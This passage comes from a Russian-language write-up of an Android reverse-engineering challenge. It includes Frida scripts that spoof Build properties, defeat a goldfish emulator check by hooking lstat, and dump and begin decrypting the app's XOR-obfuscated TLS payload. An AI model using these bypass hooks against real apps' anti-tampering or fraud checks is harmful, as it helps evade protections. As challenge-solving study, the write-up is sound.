<code>JNIEnv<\/code>* \u0432\u0435\u0437\u0434\u0435, \u0433\u0434\u0435 \u0435\u0441\u0442\u044c <code>indirect call'\u044b<\/code>. \u0418\u0437 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0433\u043e \u0442\u0430\u043c \u0435\u0441\u0442\u044c \u0442\u043e\u043b\u044c\u043a\u043e RegisterNatives, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0438\u0434\u0451\u043c \u0441\u0440\u0430\u0437\u0443 \u0432 <code>collectMetrics<\/code>. \u041e\u0447\u0435\u0432\u0438\u0434\u043d\u043e, \u0447\u0442\u043e \u0442\u0430\u043c \u0434\u043e\u043b\u0436\u043d\u044b \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440, \u043d\u043e \u0433\u0434\u0435 \u0436\u0435 \u043e\u043d\u0438?  <\/p>\n<h3>\u0418\u0449\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f<\/h3>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p>\u0414\u0430, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e \u044d\u0442\u043e \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440. \u0422\u0430\u043a \u043a\u0430\u043a \u0438\u0437 \u043a\u043e\u0434\u0430 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0430 \u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0442\u043e\u0440 \u043f\u043e\u043a\u0430 \u0447\u0442\u043e \u043d\u0435 \u0445\u043e\u0447\u0435\u0442\u0441\u044f, \u043d\u0430\u0431\u0440\u0430\u0441\u044b\u0432\u0430\u0435\u043c \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0434\u043b\u044f DBI-\u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a\u0430 Frida:<\/p>\n<pre><code class=\"java\">var hooked = false;  Java.perform(function() { let MainActivity_a = Java.use(\"com.example.dc_challenge.MainActivity$a\"); MainActivity_a.onClick.implementation = function (view) {     if (!hooked) {         disarmBuildChecks();         hooked = true;     }     this.onClick(view); } });  function disarmBuildChecks() { var config = {     BOARD: \"prada\",     BOOTLOADER: \"unknown\",     BRAND: \"Xiaomi\",     DEVICE: \"prada\",     DISPLAY: \"MMB29M\",     FINGERPRINT: \"Xiaomi\/prada\/prada:6.0.1\/MMB29M\/v8.0.3.0.0.MCECNDG:user\/release-keys\",     HARDWARE: \"qcom\",     HOST: \"c3-miui-ota-bd20\",     ID: \"MMB29M\",     MANUFACTURER: \"Xiaomi\",     MODEL: \"Redmi 4\",     PRODUCT: \"prada\",     RADIO: \"unknown\",     SERIAL: \"17fc681d\",     TAGS: \"release-keys\",     TIME: 1476359370000,     TYPE: \"user\",     USER: \"builder\", };  var Build = Java.use('android.os.Build');  Object.keys(config).map(function (key) {     Build[key].value = config[key]; }); }<\/code><\/pre>\n<p>\u041f\u0440\u043e\u0431\u0443\u0435\u043c \u043d\u0430\u0436\u0430\u0442\u044c \u043a\u043d\u043e\u043f\u043a\u0443 \u043f\u043e\u0434 \u0444\u0440\u0438\u0434\u043e\u0439 \u2014 \u0438 \u0441\u043d\u043e\u0432\u0430 \u043f\u0430\u0434\u0435\u043d\u0438\u0435. \u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e, \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430\u043c\u0438 <code>build<\/code>-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u043d\u0435 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442\u0441\u044f. \u041a\u043e\u043f\u0430\u0435\u043c \u0434\u0430\u043b\u044c\u0448\u0435.<\/p>\n<p>\u0412 \u0441\u043f\u0438\u0441\u043a\u0435 \u0438\u043c\u043f\u043e\u0440\u0442\u043e\u0432 \u043d\u0443 \u043e\u0447\u0435\u043d\u044c \u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u043d\u044b\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0438 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u043c\u0438 \u0432\u0438\u0434\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438. \u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043a\u0430\u043a\u0438\u0435-\u0442\u043e \u0438\u0437 \u043d\u0438\u0445 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043e\u043a \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f.<\/p>\n<figure class=\"full-width\"><figcaption><\/figcaption><\/figure>\n<p> \u041f\u0438\u0448\u0435\u043c \u0432\u0441\u043f\u043e\u043c\u043e\u0433\u0430\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0439 \u0442\u0440\u0430\u0441\u0441\u0438\u0440\u043e\u0432\u043a\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u0441\u043e \u0441\u0442\u0440\u043e\u043a\u0430\u043c\u0438:   <\/p>\n<pre><code class=\"javascript\">function hook(name, count) {       Interceptor.attach(Module.findExportByName(\u00ablibc.so\u00bb, name), { \u00a0\u00a0\u00a0\u00a0    onEnter: function(args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let arg = []; \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    for (var i = 0; i &lt; count; i++){ \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    try { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    arg.push(Memory.readCString(args[i])); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } catch (e) {} \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(name + '(\u00bb' + arg.join('\u00bb, \u00ab') + '\u00bb) ' + bt); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }     });  }  <\/code><\/pre>\n<p>\u0418 \u0442\u0440\u0435\u0439\u0441\u0438\u043c \u0432\u0441\u0451, \u0447\u0442\u043e \u043d\u0430\u0448\u043b\u0438 \u0432 \u0438\u043c\u043f\u043e\u0440\u0442\u0430\u0445:<\/p>\n<pre><code class=\"javascript\"> function makeHooks() {       hook(\u00abstrcmp\u00bb, 2);     hook(\u00abstrncmp\u00bb, 2);     hook(\u00abstrncpy\u00bb, 2);     hook(\u00abstrcat\u00bb, 2);     hook(\u00abstrchr\u00bb, 1);     hook(\u00abstrcspn\u00bb, 2);     hook(\u00abstrcpy\u00bb, 2);     hook(\u00abstrlen\u00bb, 1);     hook(\u00abstrcasecmp\u00bb, 2);     hook(\u00absnprintf\u00bb, 8);     hook(\u00abstrdup\u00bb, 1);     hook(\u00abstrncasecmp\u00bb, 2);     hook(\u00abstrrchr\u00bb, 1);     hook(\u00abstrspn\u00bb, 2);     hook(\u00abstrstr\u00bb, 2);     hook(\u00abstrtol\u00bb, 1);     hook(\u00abstrtoul\u00bb, 1);  }  <\/code><\/pre>\n<p>\u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>sprintf<\/code>, \u0441\u0443\u0434\u044f \u043f\u043e \u0432\u0441\u0435\u043c\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u0443\u0442\u0438 \u043a \u0444\u0430\u0439\u043b\u0430\u043c \u0432 \u043f\u0430\u043f\u043a\u0435 <em>\/proc\/self\/fd<\/em>:<\/p>\n<pre><code>snprintf(\"\", \"\/proc\/self\/fd\/%s\", \".\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"..\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"0\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"1\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  snprintf(\"\", \"\/proc\/self\/fd\/%s\", \"2\", \"G\", \"\") 0x714d50f71ee5 libchallenge.so!0x96ee5  <\/code><\/pre>\n<p>\u041c\u043e\u0433\u0443\u0442 \u043b\u0438 \u044d\u0442\u0438 \u0444\u0430\u0439\u043b\u044b \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448 \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440? \u0414\u0430\u0432\u0430\u0439\u0442\u0435 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c:<\/p>\n<pre><code>generic_x86_64:\/ # ls -la \/proc\/$(pidof  com.example.dc_challenge)\/fd total 0 dr-x------ 2 u0_a130 u0_a130  0 2021-10-16 16:59 . dr-xr-xr-x 9 u0_a130 u0_a130  0 2021-10-16 16:59 .. lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 0 -> \/dev\/null lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 1 -> \/dev\/null lr-x------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 10 -> \/apex\/com.android.art\/javalib\/bouncycastle.jar ... lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 62 -> \/dev\/goldfish_pipe lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 63 -> \/dev\/goldfish_sync lrwx------ 1 u0_a130 u0_a130 64 2021-10-16 16:59 65 -> \/dev\/goldfish_pipe <\/code><\/pre>\n<p>\u041e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e, \u0444\u0430\u0439\u043b\u044b \u0441 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c &#171;goldfish&#187; \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u043a \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440\u0443, \u0442\u0430\u043a \u0447\u0442\u043e \u043d\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0438\u0445 \u0438 \u043a\u0440\u0430\u0448\u0438\u0442\u044c \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u0412\u043e\u0437\u0438\u0442\u044c\u0441\u044f \u0441 \u0445\u0443\u043a\u043e\u043c <code>snprintf<\/code> \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u0445\u043e\u0447\u0435\u0442\u0441\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u0445\u043e\u0434\u0438\u043c \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 <code>0x96ee5<\/code> \u0432 IDA Pro \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0435\u0449\u0451 \u043c\u043e\u0436\u043d\u043e \u0445\u0443\u043a\u043d\u0443\u0442\u044c.<\/p>\n<figure class=\"\"><figcaption><\/figcaption><\/figure>\n<p> \u0424\u0443\u043d\u043a\u0446\u0438\u044f <code>lstat<\/code> \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u043c \u043a\u0430\u043d\u0434\u0438\u0434\u0430\u0442\u043e\u043c \u043d\u0430 \u0445\u0443\u043a:  <\/p>\n<pre><code class=\"javascript\">function disarmGoldfishCheck() {       Interceptor.attach(Module.findExportByName(\u00ablibc.so\u00bb, \u00ablstat\u00bb), { \u00a0\u00a0\u00a0\u00a0    onEnter: function (args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let bt = DebugSymbol.fromAddress(Thread.backtrace(this.context, Backtracer.ACCURATE)[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (bt.moduleName.indexOf(\u00ablibchallenge.so\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    let filename = Memory.readCString(args[0]); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(\u00ablstat(\u00bb + filename + \u00ab)\u00bb); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    if (filename.indexOf(\u00bb\/proc\/self\/fd\u00bb) !== -1) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    args[0].writeU8(0); \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    } \u00a0\u00a0\u00a0\u00a0    }     });  }  <\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u0441\u0451 \u043d\u0430\u043a\u043e\u043d\u0435\u0446-\u0442\u043e \u0441\u0442\u0430\u043b\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c, \u0438 \u043a\u043d\u043e\u043f\u043a\u0430 \u043f\u0440\u0438 \u043d\u0430\u0436\u0430\u0442\u0438\u0438 \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e \u043c\u044b \u0432\u0441\u0451 \u0434\u0435\u043b\u0430\u0435\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e.<\/p>\n<figure class=\"\"><figcaption><\/figcaption><\/figure>\n<h3>\u041f\u0440\u043e\u0442\u043e\u043a\u043e\u043b<\/h3>\n<p>\u0412 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u044f\u0432\u043d\u043e \u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u043a\u0438\u0439 \u0431\u044d\u043a\u0435\u043d\u0434, \u0441 \u043a\u043e\u0442\u043e\u0440\u044b\u043c \u043e\u0431\u0449\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435. \u041e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438\u0437 OpenSSL \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0442\u0430\u043a\u0436\u0435 \u0432 \u043d\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435. \u041f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u044f \u0438\u043c\u0435\u043d\u0430 \u043e\u0434\u0438\u043d \u0437\u0430 \u043e\u0434\u043d\u0438\u043c, \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u0443\u043f\u0430\u043b \u043d\u0430 <code>SSL_write<\/code>. \u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f, \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0447\u0442\u043e-\u0442\u043e \u043f\u0438\u0441\u0430\u0442\u044c \u043f\u043e TLS, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043e\u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>0x92a70<\/code> (<em>\u0432\u0441\u0435 \u0430\u0434\u0440\u0435\u0441\u0430 \u043f\u0440\u0438\u0432\u0435\u0434\u0435\u043d\u044b \u0434\u043b\u044f \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u044b x86_64<\/em>). \u042d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043e\u0432\u0441\u0435\u043c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u044b, \u0441\u0443\u0442\u044c \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u044f\u0441\u043d\u0430 \u0434\u0430\u0436\u0435 \u0441 \u043e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c Control Flow: \u043e\u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442 payload \u043f\u043e TLS \u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0435\u0442\u0441\u044f.  <\/p>\n<figure class=\"\"><figcaption><\/figcaption><\/figure>\n<p>\u0414\u0430\u043b\u044c\u0448\u0435 \u0434\u0435\u043b\u0430\u0435\u043c \u0432\u0441\u0451 \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435, \u0447\u0442\u043e \u0438 \u0432\u0441\u0435\u0433\u0434\u0430: \u043f\u0438\u0448\u0435\u043c \u0445\u0443\u043a \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u044d\u0442\u0430 \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f.   <\/p>\n<pre><code class=\"javascript\">function toHexString(addr, length) {       let result = '';     for (var i = 0; i &lt; length; i++) { \u00a0\u00a0\u00a0 result += ('0' + (addr.add(i).readU8() &amp; 0xFF).toString(16)).slice(-2);     }     return result;  }   function makeTlsHook() {     Interceptor.attach(Module.findBaseAddress(\u00ablibchallenge.so\u00bb).add(0x92a70), { \u00a0\u00a0\u00a0\u00a0    onEnter: function(args) { \u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0    console.log(toHexString(args[0], uint64(args[1].toString()))); \u00a0\u00a0\u00a0\u00a0    }     })  }  <\/code><\/pre>\n<p>\u041c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u044b\u0439 hexdump, \u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e \u043f\u043e\u0442\u043e\u043c \u043f\u0435\u0440\u0435\u0433\u043e\u043d\u044f\u0442\u044c \u0435\u0433\u043e \u0432\u044b\u0432\u043e\u0434 \u0432 Python.<\/p>\n<p>\u0412\u044b\u0432\u043e\u0434, \u0443\u0436\u0435 \u0447\u0430\u0441\u0442\u0438\u0447\u043d\u043e \u0440\u0430\u0437\u0434\u0435\u043a\u043e\u0436\u0435\u043d\u043d\u044b\u0439 Python\u2019\u043e\u043c: <\/p>\n<p><code>b'TRYHRDER\\n\\x00\\xa3\\x00\\x00\\x00\\x00\\x00\\xe2;+^\\xea;;^\\x82;&amp;^\\x87;%^\\x89;&amp;^\\xb2;%^\\xb4;+^\\xbc;+^\\xa4;%^\\xae;(^U;7^I;+^S&lt;H?\\xd2;#^\\xb1TNp\\xb7CB3\\xa2WFp\\xb6X|=\\xbaZO2\\xb7UD;\\xa2IB:\\xb3cJ?\\xbdVJ.\\xa0ZG?\\x9fval\\xebvq;\\xb6VJ\\xe7\\rq;\\xb6VJ\\xe7\\r[f\\xe4d\\x15j\\xb6ZW;\\xf2\\x19\\x08{\\x9c\\x19#3.\\xaais\\x1e\\xa9mu\\xef\\x01\\x9f\\xdd^g\\xa3\\x156\\xd2\\x03\\xdc\\xd5PB^\\xd2;#\\xd2;#^'<\/code><\/p>\n<p>\u0425\u043e\u0442\u0435\u043b\u043e\u0441\u044c, \u043a\u043e\u043d\u0435\u0447\u043d\u043e, \u0441\u0440\u0430\u0437\u0443 \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442, \u043e\u0434\u043d\u0430\u043a\u043e \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0448\u0430\u0433\u043e\u043c \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0431\u0443\u0434\u0435\u0442 \u0435\u0433\u043e \u0440\u0430\u0441\u043a\u043e\u0432\u044b\u0440\u044f\u0442\u044c.  <\/p>\n<h3>\u0428\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u0435<\/h3>\n<p>\u0412\u043e-\u043f\u0435\u0440\u0432\u044b\u0445, \u0432\u043e\u0437\u044c\u043c\u0451\u043c \u0441\u0440\u0430\u0437\u0443 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e payload\u2019\u043e\u0432 \u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u043c \u0438\u0445 \u043c\u0435\u0436\u0434\u0443 \u0441\u043e\u0431\u043e\u0439. \u0421\u0440\u0430\u0437\u0443 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043f\u043e\u043d\u044f\u0442\u043d\u043e, \u0447\u0442\u043e \u043d\u0435\u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a \u0437\u0430\u043d\u0438\u043c\u0430\u0435\u0442 \u043f\u0435\u0440\u0432\u044b\u0435 16 \u0431\u0430\u0439\u0442 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f.  <\/p>\n<p>\u0412\u043e-\u0432\u0442\u043e\u0440\u044b\u0445, \u0435\u0441\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c \u043c\u0435\u0442\u043e\u0434 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u0437\u0433\u043b\u044f\u0434\u0430, \u0432 \u0448\u0438\u0444\u0440\u043e\u0442\u0435\u043a\u0441\u0442\u0435 \u0432\u044b\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043f\u0430\u0442\u0442\u0435\u0440\u043d\u044b:<\/p>\n<pre><code>54525948524445520a00a30000000000  # \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u043a (16 \u0431\u0430\u0439\u0442) e23b2b5e ea3b3b5e 823b265e 873b255e 893b265e b23b255e b43b2b5e bc3b2b5e a43b255e ae3b285e 553b375e 493b2b5e 533c483fd23b235eb1544e70b7434233a2574670b6587c3dba5a4f32b755443ba249423ab3634a3fbd564a2ea05a473f9f76616ceb76713bb6564a7ee70d713bb6564a7ee70d5b66e464156ab65a573bf219087b9c1923332eaa69731ea96d75ef019fdd5e67a31536d203dcd550425ed23b23d23b235e<\/code><\/pre>\n<p> \u0418\u043d\u0442\u0443\u0438\u0446\u0438\u044f \u043f\u043e\u0434\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442, \u0447\u0442\u043e \u0432 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 \u0435\u0441\u0442\u044c 32-\u0431\u0438\u0442\u043d\u044b\u0435 \u043f\u043e\u043b\u044f \u0432 little endian, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 XOR\u044f\u0442\u0441\u044f \u043a\u0430\u043a\u0438\u043c-\u0442\u043e \u043d\u0435\u043f\u0440\u0438\u043b\u0438\u0447\u043d\u043e \u043c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c \u043d\u0435 \u0431\u043e\u043b\u0435\u0435 4 \u0431\u0430\u0439\u0442 (\u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u00ab5e\u00bb \u0432 \u043a\u0430\u0436\u0434\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u0435 \u2014 \u044d\u0442\u043e \u0441\u0442\u0430\u0440\u0448\u0438\u0435 \u0431\u0430\u0439\u0442\u044b \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0449\u0438\u0445\u0441\u044f \u0434\u0440\u0443\u0433 \u043e\u0442 \u0434\u0440\u0443\u0433\u0430 \u0447\u0438\u0441\u0435\u043b).<\/p>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u043c\u043e\u043c\u0435\u043d\u0442\u0435, \u0432 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0435, \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u043b\u043e \u0443\u0436\u0435 \u043f\u043e\u0434\u043e\u0431\u0440\u0430\u0442\u044c \u043a\u043b\u044e\u0447 \u043f\u0440\u043e\u0441\u0442\u043e \u043f\u043e \u0448\u0438\u0444\u0440\u043e\u0442\u0435\u043a\u0441\u0442\u0443, \u043e\u0434\u043d\u0430\u043a\u043e \u044f \u0432\u0441\u043f\u043e\u043c\u043d\u0438\u043b, \u0447\u0442\u043e \u0432 <code>collectMetrics<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f <code>arc4random_buf<\/code>, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u0441\u043a\u043e\u0440\u0435\u0435 \u0432\u0441\u0435\u0433\u043e, \u0438 \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u0443\u0435\u0442 \u044d\u0442\u043e\u0442 4-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0441\u043b\u0443\u0447\u0430\u0439\u043d\u044b\u0439 \u043a\u043b\u044e\u0447. \u041d\u0430\u0432\u0435\u0440\u043d\u043e\u0435, \u0432\u044b \u0443\u0436\u0435 \u0434\u043e\u0433\u0430\u0434\u044b\u0432\u0430\u0435\u0442\u0435\u0441\u044c, \u043a \u0447\u0435\u043c\u0443 \u0432\u0441\u0451 \u0438\u0434\u0451\u0442.<\/p>\n<pre><code class=\"javascript\">function randHook() {                Interceptor.attach(Module.findExportByName(\u00ablibc.so\u00bb, \u00abarc4random_buf\u00bb), { \u00a0\u00a0\u00a0\u00a0   